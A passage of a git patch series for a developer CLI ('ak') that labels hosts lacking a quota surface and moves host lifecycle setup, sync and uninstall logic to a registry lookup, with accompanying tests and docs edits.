=?UTF-8?q?rface=20labeling=20(F-10)=20+=20docs=20current-state=20verifica?= =?UTF-8?q?tion=20(#144)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs: verify the current-state-only policy across the usage docs; fix the one leftover Sweep of USAGE-SCORECARD-METRICS, TRANSCRIPTS, and TROUBLESHOOTING against the house policy (main bodies describe current behavior; history lives in each doc's fix-history appendix). The corpus already complied except one inline before/after aside in TRANSCRIPTS §4.2, now a current-state sentence with the history moved to Appendix A. Doc-citation, markdownlint, and ga-surface gates green. * feat: quota labels hosts that have no quota surface instead of omitting them Phase 3 (F-10): readLimits gains an opt-in enabledHosts parameter and an 'others' list — every additional enabled registry-managed host appears as {supported: false, reason: 'no quota surface for this host'} so users can tell absent-by-design from broken. The two ADR-0010-sanctioned channels are unchanged; no new channel, no probe. The dashboard /api/limits payload now carries the labels (browser UI rendering is a noted follow-up). --- docs/TRANSCRIPTS.md | 8 +++-- src/lib/dashboard-server.mjs | 8 ++++- src/lib/quota.mjs | 40 ++++++++++++++++++++++--- tests/kit/quota.test.mjs | 58 +++++++++++++++++++++++++++++++++++- 4 files changed, 106 insertions(+), 8 deletions(-) diff --git a/docs/TRANSCRIPTS.md b/docs/TRANSCRIPTS.md index 6de247d..5298435 100644 --- a/docs/TRANSCRIPTS.md +++ b/docs/TRANSCRIPTS.md @@ -202,8 +202,7 @@ The file is parsed with `withTurns: true` by the provider's parser (`usage-index.mjs:1518-1545`) with the same fields the Sessions view rows carry — `prompts`, `responses`, `exceptions`, `sidechain`, `threadSource`, `models`, `tools`, `skill`/`plugin`, worktree — plus a `cost` priced from the -same per-model usage rows `aggregate()` uses (the header used to render a -hardcoded `$0.00`; the comment at the site records why). +same per-model usage rows `aggregate()` uses. ### 4.3 Mask, then truncate — both marked, differently @@ -363,6 +362,11 @@ was wrong before, for the curious. - **Session expander fields shipped but unrendered.** The per-session fields §6.1's expander now renders (classification `basis` + confidence, the token split, flags) once travelled on the wire and rendered nowhere. +- **Transcript header once showed a hardcoded `$0.00`.** `readSession`'s + assembled `meta` left `cost` undefined, and `fmtUsd(undefined)` renders the + truthy string `"$0.00"` — a fixed-looking zero on a panel whose whole + subject is cost. `meta.cost` is now priced via `sessionCost()` from the + same per-model usage rows `aggregate()` uses (`usage-index.mjs:1538-1542`). - **Aggregate-side incidents** (the v4/v5 cache bumps, the Codex parsing defects) are recorded in `USAGE-SCORECARD-METRICS.md` Appendix A. diff --git a/src/lib/dashboard-server.mjs b/src/lib/dashboard-server.mjs index d29f9ba..982f7f4 100644 --- a/src/lib/dashboard-server.mjs +++ b/src/lib/dashboard-server.mjs @@ -687,7 +687,13 @@ export function startDashboard({ const usageApi = usage || lazyUsage(); // Injectable like `usage`: tests must never spawn a real codex or read the // real ~/.config through this route. Lazy for the same reason lazyUsage is. - const provideLimits = limits || (async () => (await import('./quota.mjs')).readLimits()); + // enabledHosts drives quota.mjs's F-10 labeling (any OTHER enabled host with + // no sanctioned quota channel) from the same kit.json read used elsewhere in + // this file (see loadKitConfig() below) — never a second, ad hoc source. + const provideLimits = limits || (async () => { + const { readLimits } = await import('./quota.mjs'); + return readLimits({ enabledHosts: loadKitConfig().integrations.hosts }); + }); const provideLive = typeof live === 'function' ? live : live ? async () => live : lazyLive(liveOptions); // Same injection contract as `live`: a function is called to produce the // collector, a value is reused verbatim (tests hand over a fake so the route diff --git a/src/lib/quota.mjs b/src/lib/quota.mjs index 0ef294a..54e4e6e 100644 --- a/src/lib/quota.mjs +++ b/src/lib/quota.mjs @@ -18,6 +18,12 @@ // server-enforced), no Keychain/credentials reads, no chatgpt.com backend // endpoints (private; requires bearer-token handling ak must not do). // +// Labeling policy (F-10): any OTHER registry-managed host (adapters/ +// registries.mjs) that the caller reports enabled gets an explicit +// `{ supported: false }` entry instead of being silently absent — this adds +// no channel and performs no probe, it only says "no quota surface exists +// for this host" so a user can tell that apart from "broken". +// // Field-name trap, load-bearing: Codex's `primary`/`secondary` window fields do // NOT reliably mean "5-hour"/"weekly" — a live prolite account answered with // `primary.windowDurationMins = 10080` (the weekly) and `secondary = null`. @@ -26,6 +32,7 @@ import fs from 'node:fs'; import path from 'node:path'; import { spawn } from 'node:child_process'; import { configDir } from './paths.mjs'; +import { managedHostIds } from './adapters/registries.mjs'; export const claudeLimitsFile = () => path.join(configDir(), 'claude-rate-limits.json'); export const codexLimitsFile = () => path.join(configDir(), 'codex-rate-limits.json'); @@ -239,20 +246,45 @@ export async function collectCodexLimits({ return fresh; } +// ── Unsupported hosts (F-10 labeling policy) ──────────────────────────────── + +/** + * Every OTHER registry-managed host (session-driving, per adapters/ + * registries.mjs `managedHostIds()`) beyond the two ADR-0010-sanctioned + * channels, labeled `{ supported: false }` instead of left absent — IF the + * caller reports it enabled. A host the caller does not report as enabled is + * omitted entirely: a user who never turned it on should see nothing, not a + * label. Adds no channel; performs no probe. Pure. + * + * @param {{ enabledHosts?: Record }} [o] + */ +export function unsupportedQuotaHosts({ enabledHosts = {} } = {}) { + return managedHostIds() + .filter((id) => id !== 'claude' && id !== 'codex' && enabledHosts[id] === true) + .map((provider) => ({ provider, supported: false, reason: 'no quota surface for this host' })); +} + // ── Combined read (the /api/limits payload) ───────────────────────────────── /** * Both providers, plus the freshness contract the UI renders: `fetchedAt` on * each side and `generatedAt` overall. Claude is a pure file read (push - * model); Codex may spawn one vendor subprocess, TTL-bounded. + * model); Codex may spawn one vendor subprocess, TTL-bounded. `others` lists + * any additional enabled host with no sanctioned quota channel (F-10); + * omitting `enabledHosts` (the default) leaves it empty, so claude/codex + * output is unchanged unless a caller opts in. * * @param {{ now?: number, claudeFile?: string, codexCacheFile?: string, ttlMs?: number, - * timeoutMs?: number, spawnImpl?: any, bin?: string }} [o] + * timeoutMs?: number, spawnImpl?: any, bin?: string, + * enabledHosts?: Record }} [o] */ -export async function readLimits({ now = Date.now(), claudeFile, codexCacheFile, ttlMs, timeoutMs, spawnImpl, bin } = {}) { +export async function readLimits({ + now = Date.now(), claudeFile, codexCacheFile, ttlMs, timeoutMs, spawnImpl, bin, enabledHosts, +} = {}) { const claude = readClaudeLimits({ file: claudeFile ?? claudeLimitsFile() }); const codex = await collectCodexLimits({ ttlMs, cacheFile: codexCacheFile ?? codexLimitsFile(), now, timeoutMs, spawnImpl, bin, }); - return { generatedAt: new Date(now).toISOString(), claude, codex }; + const others = unsupportedQuotaHosts({ enabledHosts }); + return { generatedAt: new Date(now).toISOString(), claude, codex, others }; } diff --git a/tests/kit/quota.test.mjs b/tests/kit/quota.test.mjs index 9cea65c..fdc4eba 100644 --- a/tests/kit/quota.test.mjs +++ b/tests/kit/quota.test.mjs @@ -9,7 +9,7 @@ import path from 'node:path'; import { EventEmitter } from 'node:events'; import { windowLabel, normalizeClaudeLimits, normalizeCodexLimits, readClaudeLimits, - collectCodexLimits, CODEX_TTL_MS, + collectCodexLimits, CODEX_TTL_MS, unsupportedQuotaHosts, readLimits, } from '../../src/lib/quota.mjs'; const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'ak-quota-')); @@ -192,3 +192,59 @@ test('collectCodexLimits returns null when there has never been an answer', asyn const out = await collectCodexLimits({ cacheFile: path.join(tmp(), 'none.json'), spawnImpl: failSpawn }); assert.equal(out, null); }); + +// ── unsupportedQuotaHosts — F-10: label absence instead of leaving it silent ─ +// +// ADR-0010 sanctions exactly two channels (claude's statusline tee, codex's +// app-server). This does not add a third — it never probes anything — it only +// says so, for any OTHER registry-managed host the caller reports enabled. + +test('unsupportedQuotaHosts labels an enabled managed host with no channel', () => { + const out = unsupportedQuotaHosts({ enabledHosts: { opencode: true } }); + assert.deepEqual(out, [ + { provider: 'opencode', supported: false, reason: 'no quota surface for this host' }, + ]); +}); + +test('unsupportedQuotaHosts omits a host the caller has not enabled', () => { + assert.deepEqual(unsupportedQuotaHosts(), []); + assert.deepEqual(unsupportedQuotaHosts({ enabledHosts: {} }), []); + assert.deepEqual(unsupportedQuotaHosts({ enabledHosts: { opencode: false } }), []); +}); + +test('unsupportedQuotaHosts never labels the two sanctioned channels', () => { + const out = unsupportedQuotaHosts({ enabledHosts: { claude: true, codex: true, opencode: true } }); + assert.deepEqual(out.map((h) => h.provider), ['opencode']); +}); + +// ── readLimits — the combined /api/limits payload ─────────────────────────── + +test('readLimits: claude/codex outputs are byte-identical whether or not others are reported', async () => { + const dir = tmp(); + const claudeFile = path.join(dir, 'claude-rate-limits.json'); + fs.writeFileSync(claudeFile, JSON.stringify(CLAUDE_TEE)); + const codexCacheFile = path.join(dir, 'codex-rate-limits.json'); + + const withoutOthers = await readLimits({ + now: 1000, claudeFile, codexCacheFile, spawnImpl: fakeSpawn(CODEX_RESP), + }); + const withOthers = await readLimits({ + now: 1000, claudeFile, codexCacheFile: path.join(dir, 'codex-rate-limits-2.json'), + spawnImpl: fakeSpawn(CODEX_RESP), enabledHosts: { claude: true, codex: true, opencode: true }, + }); + + assert.deepEqual(withOthers.claude, withoutOthers.claude); + assert.deepEqual(withOthers.codex, withoutOthers.codex); + assert.deepEqual(withoutOthers.others, []); + assert.deepEqual(withOthers.others, [ + { provider: 'opencode', supported: false, reason: 'no quota surface for this host' }, + ]); +}); + +test('readLimits defaults to no unsupported-host labels when enabledHosts is not passed', async () => { + const out = await readLimits({ + now: 1000, claudeFile: path.join(tmp(), 'absent.json'), + codexCacheFile: path.join(tmp(), 'codex.json'), spawnImpl: failSpawn, + }); + assert.deepEqual(out.others, []); +}); From 6f6a7dabe27dbf8f9f146e4d1b67e0806633ecff Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 18:15:29 -0400 Subject: [PATCH 3/9] =?UTF-8?q?feat:=20phase=202=20wave=201=20=E2=80=94=20?= =?UTF-8?q?dispatch=20by=20registry=20lookup=20(F-01/F-02/F-03/F-04/F-17/F?= =?UTF-8?q?-14)=20(#146)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: per-entry provider records and the generic local-openai provider row Phase 1 provider axis (ADR-0028, F-28): providerEntries is six explicit records — capabilities live on each entry instead of being derived from identity comparisons, matching hostEntries; the five pre-existing providers are pinned deep-equal to the old construction. local-openai names any OpenAI-compatible server the user runs: billing local, no credentials, the openai-compatible transport only, projections ruflo/codex/opencode (no aqe — AQE's provider set is upstream's; no claude — that projection expects an anthropic-compatible surface), no discovery claims, no builtin bindings. Remote-endpoint policy pinned: local is a billing claim, not topology — https off-box is legal, plain http stays loopback-only. * feat: ak status names local non-AQE bindings plainly Phase 1 provider axis (F-29): when kit.json declares a binding whose provider is local and not AQE-projected, status prints one info row naming provider, host, and endpoint with the not-an-AQE-provider-type fact. Registry-driven (billing + projections), so ollama never triggers it and a future provider of the same shape gets the same treatment; no bindings means no new output. * docs: accept ADR-0028 with corrections; PROVIDERS.md gains the local-openai recipe Proposed by adrianco in PR #131; accepted with the api_mode citation annotated as invalid per Hermes v0.20.0 source and the ollama/local-openai AQE-projection asymmetry stated as an intentional decision. PROVIDERS.md adds a brief current-state section on declaring a local-openai binding. * fix: the execution-adapter invariant no longer bricks ak at import for unwired routable hosts Phase 2 Wave 1 (F-01): the frozen adapter map's bidirectional import-time invariant becomes built-ins-one-directional (a built-in adapter wired to a non-routable or absent host still throws — the in-tree mistake), and executionAdapterFor() is the lookup seam externally-admitted adapters will join. A routable host with no adapter imports cleanly and degrades per worker via the pre-existing cli_unavailable path, which escalation ladders already step past. Built-in behavior byte-identical (same object references). * feat: host lifecycle is reached by registry lookup, uninstall runs the contract, permissions key by host Phase 2 Wave 1 (F-02, F-03, F-04): a lifecycle registry (construction- validated, one-way import) replaces the five OPENCODE_LIFECYCLE_ADAPTER named imports; source-text guards pin that no command names the adapter again. Uninstall tears down every lifecycle host through runLifecycle undo honoring ownership receipts — and persists nulled markers unconditionally like x/host.mjs always has (review-caught: gating the save on file changes stranded a stale mcp:ak receipt forever on the quiet-success path; regression test added). Setup's permission manifest unions auto-approve trust changes across ALL enabled hosts instead of claude's alone — byte-identical at the claude-only default; on opencode-enabled machines its four MCP tool-name rules join the disclosed/authorized set (stated tradeoff, disclosed pre-write by the trust manifest). * refactor: guidance targets derive from the host registry Phase 2 Wave 1 (F-17): guidanceTargets() loops nativeGuidance hosts and their legacy.guidanceFile instead of a closed four-name literal; output pinned byte-identical across every enablement combination. retiredForTarget stops force-stripping targets outside the derived universe. The generic fallback accepts id-shaped names only — a traversal-shaped guidanceFile contributes no target at all (review-caught latent escape; schema-level validation is the wave-4 admission gate's job). * feat: kit.json names its unknown top-level keys instead of ignoring them silently Phase 2 Wave 1 (F-14): loadKitConfig warns once per distinct unknown key-set on stderr — 'preserved, ignored' — so a future hostAdapters key on an older ak is a named no-op, not a silent one. Keys still round-trip untouched; clean configs warn nothing; legacy pre-migration shapes live nested inside recognized envelopes and never trip it. --- src/commands/setup.mjs | 97 ++++++++------- src/commands/sync.mjs | 41 ++++--- src/commands/uninstall.mjs | 50 +++++--- src/commands/x/host.mjs | 9 +- src/lib/adapters/lifecycle-registry.mjs | 63 ++++++++++ src/lib/blocks.mjs | 129 +++++++++++++++----- src/lib/config.mjs | 26 ++++ src/lib/execution/adapters.mjs | 44 ++++--- src/lib/execution/runner.mjs | 16 ++- tests/kit/execution-runner.test.mjs | 50 +++++++- tests/kit/guidance-targets.test.mjs | 153 ++++++++++++++++++++++++ tests/kit/lifecycle-registry.test.mjs | 86 +++++++++++++ tests/kit/settings-config.test.mjs | 78 ++++++++++++ tests/kit/setup-command.test.mjs | 44 +++++++ tests/kit/uninstall-command.test.mjs | 45 +++++++ 15 files changed, 799 insertions(+), 132 deletions(-) create mode 100644 src/lib/adapters/lifecycle-registry.mjs create mode 100644 tests/kit/lifecycle-registry.test.mjs diff --git a/src/commands/setup.mjs b/src/commands/setup.mjs index 7529604..829de26 100644 --- a/src/commands/setup.mjs +++ b/src/commands/setup.mjs @@ -12,8 +12,9 @@ import * as heal from '../lib/heal.mjs'; import { fixStatusline } from '../lib/statusline.mjs'; import { reconcileGuidance } from '../lib/blocks.mjs'; import { register as mcpRegister, applyExclusions } from '../lib/mcp.mjs'; -import { OPENCODE_LIFECYCLE_ADAPTER, reconcileOpencodeGuidance } from '../lib/opencode.mjs'; +import { reconcileOpencodeGuidance } from '../lib/opencode.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; +import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { HOSTS, applyHosts, applyProviders, hostInstallState, installHost, applyAqeRouter, seedActivityRoutesIfMultiHost, printActivityRoutingTable, aqeSupportsAgentOverrides, ensureCodexMcp, ensureRufloMcpInCodex, applySetupHostFlags, bothHostsEnabled } from '../lib/providers.mjs'; import { installedVersion } from '../lib/versions.mjs'; @@ -23,7 +24,7 @@ import { readJson, writeJsonWithBackup } from '../lib/settings.mjs'; import { withDb } from '../lib/sqlite.mjs'; import { findMemoryEntry } from '../lib/project-memory.mjs'; import { - setupTrustManifest, trustChangesForHost, trustManifestLines, + setupTrustManifest, trustManifestLines, } from '../lib/trust-manifest.mjs'; import * as paths from '../lib/paths.mjs'; import { ok, warn, fail, info, heading, bold, dim, reportOutcome } from '../lib/output.mjs'; @@ -91,19 +92,27 @@ const ask = async (q, dflt, yes) => { return a === '' ? dflt : a.startsWith('y'); }; -export const PROJECT_PERMISSION_MANIFEST = Object.freeze( - trustChangesForHost('claude', { kind: 'auto-approve' }).map((entry) => ({ - owner: entry.owner, rule: entry.value, effect: entry.effect, - })), -); - -export function projectPermissionManifest(cfg) { - const claude = setupTrustManifest(cfg, { project: true }) - .find((group) => group.hostId === 'claude'); - return (claude?.changes ?? []).filter((entry) => entry.kind === 'auto-approve') +// The authorized/disclosed auto-approve set is the UNION across every +// enabled host's trust manifest, not claude's alone (F-04) — a host whose +// auto-approve rules don't gate on enablement (requiresHostEnabled: false, +// claude's posture today) always contributes; an opt-in host (opencode, +// codex, or a future one) only contributes once cfg actually enables it. +// `hosts` is injectable so tests can prove a second host's rule survives +// removeUndisclosedPermissions through the same seam trust-manifest.test.mjs +// uses for host-registry-construction tests. +export function projectPermissionManifest(cfg, /** @type {{hosts?: any[]}} */ { hosts } = {}) { + const manifest = setupTrustManifest(cfg, { project: true, ...(hosts ? { hosts } : {}) }); + return manifest.flatMap((group) => group.changes) + .filter((entry) => entry.kind === 'auto-approve') .map((entry) => ({ owner: entry.owner, rule: entry.value, effect: entry.effect })); } +// The baseline (no non-default host enabled) authorized set — identical to +// "claude's rules" today because every claude auto-approve change sets +// requiresHostEnabled: false, but now derived through the same registry- +// driven path as projectPermissionManifest rather than hardcoded to claude. +export const PROJECT_PERMISSION_MANIFEST = Object.freeze(projectPermissionManifest({})); + export function discloseSetupTrust(cfg, { project = false } = {}) { const manifest = setupTrustManifest(cfg, { project }); if (!manifest.length) return manifest; @@ -204,35 +213,43 @@ export async function run_machine({ flags, pkgRoot, cfg }) { } } - // 6b. opencode host wiring — config-file MCP + skills, lifecycle plugin, - // converted agents, platform skill (opencode.mjs owns all of it). Only - // when the CLI is actually present: a declined/failed install must not - // leave a freshly-created config home behind (codex-review #4). - if (cfg.integrations?.hosts?.opencode) { - if (!(await have('opencode'))) { - warn('opencode: enabled but CLI not installed — wiring skipped (re-run `ak sync` after installing opencode-ai)'); - } else { - const lifecycle = await runLifecycle({ - adapter: OPENCODE_LIFECYCLE_ADAPTER, action: 'apply', cfg, options: { pkgRoot }, - }); - const stack = lifecycle.result; - (stack.oc.ok ? ok : warn)(`opencode: ${stack.oc.detail}`); - if (stack.oc.fatal) { - warn(`opencode plugin/agents/skill/guidance skipped — ${stack.oc.detail}`); - return false; - } - ok(`opencode plugin: ${stack.plugin.detail}`); - ok(`opencode agents: ${stack.agents.detail}`); - if (stack.skill.changed) ok(`opencode skill: ${stack.skill.detail}`); - // guidance blocks for the opencode AGENTS.md land NOW (codex-review #18) - // — not on the next status-driven reconcile. Same shared reconcile pick - // and off use, so every command converges guidance identically. - const guidance = await reconcileOpencodeGuidance({ pkgRoot, cfg, cwd: process.cwd(), enabled: true }); - ok(`opencode guidance: ${guidance.detail.replace(/^guidance: /, '')}`); - // opencode loads config/plugins/MCP/agents once at startup — say so now, - // or the user files "hooks don't work" issues (observed live). - info('restart opencode to load the hooks + MCP servers (loaded once at startup)'); + // 6b. host lifecycle wiring — config-file MCP + skills, lifecycle plugin, + // converted agents, platform skill (each adapter owns its own surfaces + // — opencode.mjs for opencode). Registry-driven: loops + // hostsWithLifecycle() rather than naming opencode, so a second + // lifecycle host needs no new branch here. Only when the CLI is + // actually present: a declined/failed install must not leave a + // freshly-created config home behind (codex-review #4). The result + // SHAPE consumed below (stack.oc/plugin/agents/skill) is still + // opencode's own — the lifecycle contract doesn't mandate a common + // `apply()` result shape across hosts. + for (const hostId of hostsWithLifecycle()) { + if (!cfg.integrations?.hosts?.[hostId]) continue; + if (!(await have(hostId))) { + const pkg = HOSTS.find((h) => h.id === hostId)?.pkg ?? hostId; + warn(`${hostId}: enabled but CLI not installed — wiring skipped (re-run \`ak sync\` after installing ${pkg})`); + continue; + } + const lifecycle = await runLifecycle({ + adapter: lifecycleAdapterFor(hostId), action: 'apply', cfg, options: { pkgRoot }, + }); + const stack = lifecycle.result; + (stack.oc.ok ? ok : warn)(`opencode: ${stack.oc.detail}`); + if (stack.oc.fatal) { + warn(`opencode plugin/agents/skill/guidance skipped — ${stack.oc.detail}`); + return false; } + ok(`opencode plugin: ${stack.plugin.detail}`); + ok(`opencode agents: ${stack.agents.detail}`); + if (stack.skill.changed) ok(`opencode skill: ${stack.skill.detail}`); + // guidance blocks for the opencode AGENTS.md land NOW (codex-review #18) + // — not on the next status-driven reconcile. Same shared reconcile pick + // and off use, so every command converges guidance identically. + const guidance = await reconcileOpencodeGuidance({ pkgRoot, cfg, cwd: process.cwd(), enabled: true }); + ok(`opencode guidance: ${guidance.detail.replace(/^guidance: /, '')}`); + // opencode loads config/plugins/MCP/agents once at startup — say so now, + // or the user files "hooks don't work" issues (observed live). + info('restart opencode to load the hooks + MCP servers (loaded once at startup)'); } // 7. frontier host hint — codex detected but not enabled (opt-in via `ak host pick`) diff --git a/src/commands/sync.mjs b/src/commands/sync.mjs index 3af737a..e0616b1 100644 --- a/src/commands/sync.mjs +++ b/src/commands/sync.mjs @@ -8,8 +8,8 @@ import { have } from '../lib/exec.mjs'; import { fixStatusline, helperStampStale } from '../lib/statusline.mjs'; import { reconcileGuidance } from '../lib/blocks.mjs'; import { register as mcpRegister, applyExclusions } from '../lib/mcp.mjs'; -import { OPENCODE_LIFECYCLE_ADAPTER } from '../lib/opencode.mjs'; import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; +import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { listDaemons, staleDaemons, reap } from '../lib/daemons.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; import { commandHosts, applyHosts, applyProviders, hostInstallState, installHost, applyAqeRouter, seedActivityRoutesIfMultiHost, migrateRetiredRoutesInConfig, ensureCodexMcp, ensureRufloMcpInCodex, bothHostsEnabled } from '../lib/providers.mjs'; @@ -188,23 +188,30 @@ export async function run({ flags, pkgRoot, fetchLatest }) { // Runs BEFORE the blocks branch: the agents-opencode guidance target is gated // on the config home this branch creates — this order lets a fresh enable // converge guidance in the SAME sync (a second sync is then a true no-op). - if (subsystems.has('opencode') && cfg.integrations?.hosts?.opencode) { - if (!(await have('opencode'))) { - info('opencode: enabled but CLI not installed — wiring skipped (hosts step installs it)'); - } else { - const lifecycle = await runLifecycle({ - adapter: OPENCODE_LIFECYCLE_ADAPTER, action: 'apply', cfg, options: { pkgRoot }, - }); - const stack = lifecycle.result; - // persist the markers on ANY refresh (a converged file whose kit.json - // markers are stale/missing still needs the save, or the next teardown - // cannot prove ownership — codex-review r3), not only on file changes. - if (stack.oc.changed || stack.markersChanged) saveKitConfig(cfg); - if (stack.oc.changed || !stack.oc.ok) report('opencode', stack.oc); - report('opencode plugin', stack.plugin); - report('opencode agents', stack.agents); - if (stack.skill.changed || !stack.skill.ok) report('opencode skill', stack.skill); + // Registry-driven: loops hostsWithLifecycle() rather than naming opencode, + // so a second lifecycle host needs no new branch here. Only opencode is + // registered today, so this loop runs exactly once — byte-identical to the + // single-host branch it replaces. The result SHAPE consumed below + // (stack.oc/plugin/agents/skill) is still opencode's own — the lifecycle + // contract doesn't mandate a common `apply()` result shape across hosts. + for (const hostId of hostsWithLifecycle()) { + if (!subsystems.has(hostId) || !cfg.integrations?.hosts?.[hostId]) continue; + if (!(await have(hostId))) { + info(`${hostId}: enabled but CLI not installed — wiring skipped (hosts step installs it)`); + continue; } + const lifecycle = await runLifecycle({ + adapter: lifecycleAdapterFor(hostId), action: 'apply', cfg, options: { pkgRoot }, + }); + const stack = lifecycle.result; + // persist the markers on ANY refresh (a converged file whose kit.json + // markers are stale/missing still needs the save, or the next teardown + // cannot prove ownership — codex-review r3), not only on file changes. + if (stack.oc.changed || stack.markersChanged) saveKitConfig(cfg); + if (stack.oc.changed || !stack.oc.ok) report('opencode', stack.oc); + report('opencode plugin', stack.plugin); + report('opencode agents', stack.agents); + if (stack.skill.changed || !stack.skill.ok) report('opencode skill', stack.skill); } // The 'opencode' guard: the opencode branch above can CREATE the config home // that activates the agents-opencode guidance target — a machine whose other diff --git a/src/commands/uninstall.mjs b/src/commands/uninstall.mjs index bed193a..251019e 100644 --- a/src/commands/uninstall.mjs +++ b/src/commands/uninstall.mjs @@ -9,8 +9,9 @@ import readline from 'node:readline/promises'; import { run as runCmd } from '../lib/exec.mjs'; import { stripBlock, BEGIN, BUILTIN_BLOCKS } from '../lib/blocks.mjs'; import { unregister } from '../lib/mcp.mjs'; -import { retireOpencode } from '../lib/opencode.mjs'; import { loadKitConfig, saveKitConfig } from '../lib/config.mjs'; +import { runLifecycle } from '../lib/adapters/lifecycle.mjs'; +import { hostsWithLifecycle, lifecycleAdapterFor } from '../lib/adapters/lifecycle-registry.mjs'; import { present as rbPresent } from '../lib/ruvnet-brain.mjs'; import * as paths from '../lib/paths.mjs'; import { ok, warn, info } from '../lib/output.mjs'; @@ -121,23 +122,36 @@ export async function run({ flags }) { }); } } - { - // cfg comes from the top of run() (read before any purge of kit.json). - // --purge removes kit.json above; persisting cfg here would recreate it. - if (cfg.integrations?.ownership?.opencode?.mcp === 'ak') { - if (dry) info('[dry-run] stripped ak-managed opencode wiring + artifacts (opencode.json, plugin, agents, skill)'); - else { - const ret = retireOpencode(cfg); - ownershipTeardownOk = ret.ok; - if (!flags.purge) saveKitConfig(cfg); - (ret.ok ? ok : warn)(ret.ok - ? 'stripped ak-managed opencode wiring + artifacts (opencode.json, plugin, agents, skill)' - : `opencode teardown incomplete — ${ret.undo.detail}`); - } - } else if (fs.existsSync(paths.opencodeDir())) { - // Not ak-managed (or never enabled): artifacts are still marker-gated, so - // only ak-deployed files leave — user-owned agents/skills/plugins stay. - act('removed ak-deployed opencode artifacts (plugin/agents/skill)', () => { retireOpencode(cfg); }); + // Registry-driven host lifecycle teardown — reached by id, never by name + // (mirrors x/host.mjs's off(), which does its undo the same way). cfg comes + // from the top of run() (read before any purge of kit.json); --purge + // removes kit.json below, so persisting cfg here would recreate it. Each + // adapter's own undo() already honors ownership/receipts (opencode's + // undoOpencode no-ops when it never held mcp:'ak', and marker-gates + // artifact removal independent of that), so this call is unconditional per + // host — the only kit-side gate is "did anything actually happen", to + // avoid a no-op teardown line (and a needless kit.json rewrite) on a host + // that was never enabled. + for (const hostId of hostsWithLifecycle()) { + const adapter = lifecycleAdapterFor(hostId); + if (dry) { + info(`[dry-run] stripped ak-managed ${hostId} wiring + artifacts (opencode.json, plugin, agents, skill)`); + continue; + } + const retired = await runLifecycle({ adapter, action: 'undo', cfg }); + const ret = retired.result; + ownershipTeardownOk = ownershipTeardownOk && ret.ok; + // Persist markers unconditionally, exactly like x/host.mjs's off()/pick(): + // undo() mutates cfg's ownership markers in memory even when it rewrote + // no file (`undo.changed` measures the FILE, not cfg), so gating the save + // on `changed` would strand a stale mcp:'ak' receipt forever on the + // quiet-success path. Only the human-facing line stays gated on "did + // anything observable happen". + if (!flags.purge) saveKitConfig(cfg); + if (ret.undo.changed || ret.artifacts.changed || !ret.ok) { + (ret.ok ? ok : warn)(ret.ok + ? `stripped ak-managed ${hostId} wiring + artifacts (opencode.json, plugin, agents, skill)` + : `${hostId} teardown incomplete — ${ret.undo.detail}`); } } if (flags.purge && fs.existsSync(paths.kitConfigPath())) { diff --git a/src/commands/x/host.mjs b/src/commands/x/host.mjs index 5d7f445..65cdead 100644 --- a/src/commands/x/host.mjs +++ b/src/commands/x/host.mjs @@ -16,8 +16,9 @@ import { } from '../../lib/providers.mjs'; import { parseRouteSpecs, formatModelHelp, PRIMARY_HOSTS, DEFAULT_PRIMARY_HOST, divergedRoutes, refreshSeededRoutes, pruneRoutesForHosts, modelNote, ACTIVITIES } from '../../lib/routing.mjs'; import { loadKitConfig, saveKitConfig } from '../../lib/config.mjs'; -import { OPENCODE_LIFECYCLE_ADAPTER, reconcileOpencodeGuidance } from '../../lib/opencode.mjs'; +import { reconcileOpencodeGuidance } from '../../lib/opencode.mjs'; import { runLifecycle } from '../../lib/adapters/lifecycle.mjs'; +import { lifecycleAdapterFor } from '../../lib/adapters/lifecycle-registry.mjs'; import { routableHostIds, defaultHostMap, validateBinding, HOST_REGISTRY, PROVIDER_REGISTRY, } from '../../lib/adapters/index.mjs'; @@ -337,7 +338,7 @@ async function off({ cwd, pkgRoot }) { const rufloCodexManaged = cfg.integrations?.ownership?.codex?.reverseMcp === 'ak'; // OpenCode teardown reads its ownership receipt before the host/routing reset. // A failed teardown retains that receipt (including catalogDir) for a retry. - const retired = await runLifecycle({ adapter: OPENCODE_LIFECYCLE_ADAPTER, action: 'undo', cfg }); + const retired = await runLifecycle({ adapter: lifecycleAdapterFor('opencode'), action: 'undo', cfg }); const ret = retired.result; cfg.providers = { aqeProvider: null, @@ -629,7 +630,7 @@ async function pick({ flags, cwd, pkgRoot }) { warn('opencode: enabled but CLI not installed — wiring skipped (re-run `ak sync` after installing opencode-ai)'); } else { const lifecycle = await runLifecycle({ - adapter: OPENCODE_LIFECYCLE_ADAPTER, action: 'apply', cfg, options: { pkgRoot }, + adapter: lifecycleAdapterFor('opencode'), action: 'apply', cfg, options: { pkgRoot }, }); const stack = lifecycle.result; // persist the markers on ANY refresh (converged file + stale markers is @@ -653,7 +654,7 @@ async function pick({ flags, cwd, pkgRoot }) { // never the user's own opencode config. A teardown that cannot complete // (e.g. a JSONC config) is reported honestly — markers stay for the retry // and "disabled" is never claimed over still-active wiring. - const retired = await runLifecycle({ adapter: OPENCODE_LIFECYCLE_ADAPTER, action: 'undo', cfg }); + const retired = await runLifecycle({ adapter: lifecycleAdapterFor('opencode'), action: 'undo', cfg }); const ret = retired.result; saveKitConfig(cfg); // persist markers (nulled on success, retained on failure) if (ret.ok) ok(`opencode disabled: ${ret.undo.detail}; ${ret.artifacts.detail}`); diff --git a/src/lib/adapters/lifecycle-registry.mjs b/src/lib/adapters/lifecycle-registry.mjs new file mode 100644 index 0000000..705e1d4 --- /dev/null +++ b/src/lib/adapters/lifecycle-registry.mjs @@ -0,0 +1,63 @@ +// Lifecycle adapter registry — host lifecycle (detect/plan/apply/verify/undo) +// reached by id lookup, never by a named import of a concrete host module. +// +// Lifecycle adapters carry FUNCTIONS (detect/plan/apply/verify/undo), so they +// cannot live in the structuredClone'd data registry (registries.mjs) — this +// module is the function-carrying sibling, keyed the same way (host id). +// 